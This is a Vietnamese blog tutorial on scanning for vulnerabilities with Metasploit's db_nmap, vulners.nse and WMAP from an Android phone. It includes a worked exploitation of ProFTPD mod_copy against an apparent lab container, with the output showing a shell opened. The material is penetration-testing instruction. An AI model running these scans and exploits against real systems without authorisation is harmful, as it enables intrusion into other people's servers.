Cách Quét lỗ hổng bảo mật bằng Metasploit

Trong quá trình thử nghiệm Kali Nethunter trên OnePlus, mình đã tìm kiếm các công cụ và quy trình làm việc có thể chạy trên một thứ gì đó nhẹ như điện thoại Android. Mình cũng muốn xem mình có thể đi được bao xa mà không cần phải dùng VPS hay Server bên ngoài.

Cách quét lỗ hổng bảo mật bằng Metasploit

Quét lỗ hổng bảo mật bằng OpenVAS, Nessus hoặc bất kỳ thứ gì khác chạy tốt trên phần cứng nhẹ. Theo kinh nghiệm của mình, một máy quét lỗ hổng chuyên dụng sẽ khá tốn nhiều tài nguyên.

Vì vậy, khi sử dụng Metasploit làm công cụ chính để khai thác phần mềm dễ bị tấn công, mình muốn chia sẻ một số mẹo mà mình đã tìm thấy để thực hiện quét lỗ hổng bảo mật bằng Metasploit.

Nmap + Metasploit

Gần đây mình đã phát hiện ra rằng bạn có thể sử dụng nmap trực tiếp từ Metasploit bằng cách sử dụng mô-đun db_nmap. Sử dụng mô-đun này khá tốt vì bạn có thể nhận được kết quả được nhập trực tiếp vào Metasploit.

Dưới đây là một ví dụ về lệnh db_nmap trong Metasploit:

msf6 > db_nmap -sV 192.168.1.5

Đây là kết quả đầu ra (máy chủ này đang chạy container Docker dễ bị tấn công):

msf6 > db_nmap -sV 192.168.1.5
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 03:47 UTC
[*] Nmap: Nmap scan report for 192.168.1.5 (192.168.1.5)
[*] Nmap: Host is up (0.12s latency).
[*] Nmap: rDNS record for 192.168.1.5: 192.168.1.5.vultr.com
[*] Nmap: Not shown: 991 closed ports
[*] Nmap: PORT     STATE    SERVICE     VERSION
[*] Nmap: 21/tcp   open     ftp         ProFTPD 1.3.5
[*] Nmap: 22/tcp   open     ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 25/tcp   filtered smtp
[*] Nmap: 80/tcp   open     http        Apache httpd 2.4.7 ((Ubuntu))
[*] Nmap: 139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 631/tcp  open     ipp         CUPS 1.7
[*] Nmap: 6667/tcp open     irc         UnrealIRCd
[*] Nmap: Service Info: Hosts: VULN, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.18 seconds

Bây giờ, Metasploit đã biết về các dịch vụ trên máy chủ đó. Kiểm tra bằng lệnh services :

msf6 > services
Services
========
host          port  proto  name         state     info
----          ----  -----  ----         -----     ----
192.168.1.5  21    tcp    ftp          open      ProFTPD 1.3.5
192.168.1.5  22    tcp    ssh          open      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 Ubuntu Linux; proto
                                                  col 2.0
192.168.1.5  25    tcp    smtp         filtered
192.168.1.5  80    tcp    http         open      Apache httpd 2.4.7 (Ubuntu)
192.168.1.5  139   tcp    netbios-ssn  open      Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.1.5  445   tcp    netbios-ssn  open      Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.1.5  631   tcp    ipp          open      CUPS 1.7
192.168.1.5  6667  tcp    irc          open      UnrealIRCd

Với db_nmap, nó sẽ tự động nhập các lỗ hổng nếu bạn sử dụng bất kỳ tập lệnh quét lỗ hổng nào của nmap.

Đây là một lệnh ví dụ:

msf6 > db_nmap -sV --script=vulners.nse 192.168.1.5

Sau khi hoàn thành lệnh đó, mình có thể sử dụng lệnh vulns để kiểm tra các khai thác được lưu trữ trong Metasploit đã được phát hiện bằng cách sử dụng nmap:

msf6 > vulns
Vulnerabilities
===============
Timestamp                Host          Name                             References
---------                ----          ----                             ----------
2021-08-08 03:55:55 UTC  192.168.1.5  cpe:/a:proftpd:proftpd:1.3.5     CVE-2015-3306,SAINT:950EB68D408A40399926A4CCAD3CC62E,SAINT:63FB77B9136D48259E4F0D4CDA35E957,SAINT:1B08F4664C428B180EEC9617B41D9A2C,PROFTPD_MOD_COPY,PACKETSTORM:162777,PACKETSTORM:132218,PACKETSTORM:131567,PACKETSTORM:131555,PACKETSTORM:131505,MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC,EDB-ID:49908,EDB-ID:37262,EDB-ID:36803,EDB-ID:36742,1337DAY-ID-23720,1337DAY-ID-23544,SSV:61050,MSF:ILITIES/SUSE-CVE-2019-18217/,CVE-2019-19272,CVE-2019-19271,CVE-2019-19270,CVE-2019-18217,CVE-2016-3125,CVE-2013-4359,CVE-2017-7418
<snipped>

Bạn có thể thấy có một lỗ hổng mà Metasploit đã khai thác trong đầu ra ở trên của các tệp tin:

MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC

Vì vậy, hãy khai thác nó:

msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.1.5
RHOSTS => 192.168.1.5
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/bind_awk 
payload => cmd/unix/bind_awk
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run 
[*] 192.168.1.5:80 - 192.168.1.5:21 - Connected to FTP server
[*] 192.168.1.5:80 - 192.168.1.5:21 - Sending copy commands to FTP server
[*] 192.168.1.5:80 - Executing PHP payload /VlrUb.php
[*] Started bind TCP handler against 192.168.1.5:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.5:4444) at 2021-08-08 04:21:30 +0000

Shell được tạo bằng cách sử dụng kết quả quét lỗ hổng bảo mật được thực hiện trên điện thoại Android.

Mình khuyên bạn nên sử dụng thêm các tập lệnh quét lỗ hổng nmap với mô-đun db_nmap của Metasploit.

Quét lỗ hổng ứng dụng web

Metasploit có một mô-đun quét lỗ hổng ứng dụng web được tích hợp sẵn: WMAP:

WMAP Web Scanner

Tài liệu về WMAP trong repo Github cũ của người khác giải thích điều khiến WMAP trở nên đặc biệt:

https://github.com/lattera/metasploit/blob/master/documentation/wmap.txt

Có vẻ như nó không được cập nhật trong 10 năm. Theo giải thích trong liên kết ở trên, WMAP sẽ sử dụng thông tin được lưu trữ trong cơ sở dữ liệu để tấn công mục tiêu của bạn một cách thông minh. Ngoài ra, bạn có thể tạo hồ sơ WMAP để sử dụng các mô-đun mới hơn hoặc thậm chí tùy chỉnh trong Metasploit – điều này làm cho WMAP có thể mở rộng và vẫn phù hợp ở hiện tại.

Đầu tiên, tải wmap và định cấu hình mục tiêu của bạn:

msf6 > load wmap
.-.-.-..-.-.-..---..---.
| | | || | | || | || |-'
`-----'`-'-'-'`-^-'`-'
[WMAP 1.5.1] ===  et [  ] metasploit.com 2012
[*] Successfully loaded plugin: wmap
msf6 > wmap_sites -a http://192.168.1.5
[*] Site created.
msf6 > wmap_targets -t http://192.168.1.5/drupal
msf6 > wmap_targets -l
[*] Defined targets
===============
     Id  Vhost         Host          Port  SSL    Path
     --  -----         ----          ----  ---    ----
     0   192.168.1.5  192.168.1.5  80    false  /drupal

Tiếp theo, chạy thử nghiệm đối với mục tiêu của bạn:

msf6 > wmap_run -t
[*] Testing target:
[*]     Site: 192.168.1.5 (192.168.1.5)
[*]     Port: 80 SSL: false
============================================================
[*] Testing started. 2021-08-08 04:43:27 +0000
[*] Loading wmap modules...
<snipped>

Cuối cùng, chạy lệnh quét:

msf6 > wmap_run -e 
[*] Using ALL wmap enabled modules.
[-] NO WMAP NODES DEFINED. Executing local modules
[*] Testing target:
[*]     Site: 192.168.1.5 (192.168.1.5)
[*]     Port: 80 SSL: false
============================================================
[*] Testing started. 2021-08-08 04:50:06 +0000
[*] 
=[ SSL testing ]=
============================================================
[*] Target is not SSL. SSL modules disabled.
[*] 
=[ Web Server testing ]=
============================================================
[*] Module auxiliary/scanner/http/http_version
[+] 192.168.1.5:80 Apache/2.4.7 (Ubuntu)
[*] Module auxiliary/scanner/http/open_proxy
[*] Module auxiliary/admin/http/tomcat_administration
<snipped>

Sử dụng cấu hình WMAP tùy chỉnh

Trong repo Metasploit Github có một số tài liệu hướng dẫn cách bạn có thể mở rộng WMAP để sử dụng các mô-đun khác bằng cách sử dụng cấu hình WMAP:

wmap_sample_profile.txt

Đây là file:

# 
# WMAP 1.0 Sample Profile
# wmap_run -e /path/to/profile
#
# Just add the name of the module. Use # for comments
#
frontpage
frontpage_login
options 
version 
backup_file 
#blind_sql_query 
#brute_dirs 
copy_of_file 
dir_listing 
dir_scanner
file_same_name_dir
writable

Bạn có thể thấy từ các nhận xét trong tệp rằng bạn có thể mở rộng WMAP để sử dụng các mô-đun khác. Điều này làm cho WMAP thực sự hữu ích vì bạn có thể kiểm tra các mô-đun Metasploit mới hơn hoặc tùy chỉnh trên Web Server.

Vì vậy, như một ví dụ đơn giản, bạn có thể sử dụng cấu hình ví dụ đó, đặt nó vào /tmp/wmap-profile và sau đó chạy cấu hình WMAP bằng lệnh sau trong Metasploit:

msf6 > wmap_run -e /tmp/wmap-profile

Như mình đã nói trước đó, việc này làm cho WMAP có thể mở rộng và có thể sẽ giữ nó mãi mãi hữu ích khi Rapid 7 tiếp tục tạo và cập nhật các mô-đun của Metasploit.

Previous Post Next Post